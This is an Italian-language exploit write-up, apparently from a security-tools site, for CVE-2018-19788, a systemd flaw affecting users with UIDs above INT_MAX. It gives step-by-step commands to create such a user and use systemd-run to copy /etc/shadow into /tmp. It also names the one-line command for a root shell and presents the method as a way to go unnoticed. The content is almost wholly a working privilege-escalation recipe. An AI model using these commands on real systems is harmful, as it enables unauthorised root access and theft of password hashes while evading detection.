Sfruttare CVE-2018-19788 per estrarre file protetti senza shell di root

CVE-2018-19788 è un problema per cui qualsiasi utente con UID superiore a INT_MAX (cioè 4000000000) può eseguire qualsiasi comando systemctl su un sistema linux con systemd, come Ubuntu. (Esiste già un writeup per ottenere una shell di root: qui). La differenza principale tra questo writeup e quello per la shell di root completa è che questo verrà eseguito dall'utente stesso invece che da un utente root (in pratica solo una PoC, ad essere onesti)

Ottenere /etc/shadow senza eseguire una shell di root

Per ottenere una shell di root è sufficiente eseguire systemd-run -t /bin/bash, ma se vuoi passare inosservato puoi eseguire semplici comandi per ottenere file privilegiati senza un terminale. Segui questi passaggi:

• Aggiungi un utente con UID superiore a INT_MAX:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• Accedi all'account utente:
  root@kitploit:~

  su someusername
  

• Esegui il comando per il file che desideri (qui useremo /etc/shadow):
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Il tuo file ora è in /tmp:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

Video della PoC